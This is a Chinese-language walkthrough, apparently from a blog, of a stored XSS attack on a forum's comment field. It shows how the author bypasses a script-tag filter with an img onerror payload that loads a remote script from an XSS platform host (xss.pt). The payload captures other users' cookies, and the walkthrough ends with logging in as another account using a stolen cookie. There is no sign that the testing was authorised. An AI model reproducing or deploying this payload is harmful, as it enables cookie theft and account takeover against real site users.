论坛xss利用打到cookie

1.首先在评论区随表输入内容，发表然后抓包。

发现content_html参数

解码看了一下是

直接发表看一下源代码。

这里能大胆猜一下，这里的传参可能是我们最后发表的内容。
把传参的content_html该成<h1>44444</h1>的编码试试

猜想没有错，最后直接变成内容了

试试srcipt会不会被过滤

很明显被过滤了。

当然要获取cookie不是只有srcipt才行。试试img喃

可以看到并没有被过滤

编辑节点看一下大于号和小于号有没有被编码

并没有编码，但是加了一个属性。百度了一下。

没有很明白，大概意思就是不发送消息，我是这样理解的。看能不能把这个属性过滤掉。
这里我想了很多办法试了很多还是没有过滤掉。

最后我发现的突破口是这样的，没有带<>的srcipt是不会被过滤的。

于是我想到了用img的onerror属性去创建一个srcipt，然后把创建出来的srcipt加到body子节点。然在去发送src

最后的xss为: <img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss.pt/vsTA';>

然后发表评论试试。

看一下xss平台有没有打到cookie

成功打到了cookie，但是不知道是不是只能打自己的。换一下账号测试一下。

换了一个账号查看评论

上xss看一下,成功打到了。

赶紧退出去，用cookie试一下能不能上号。

利用cookie成功上号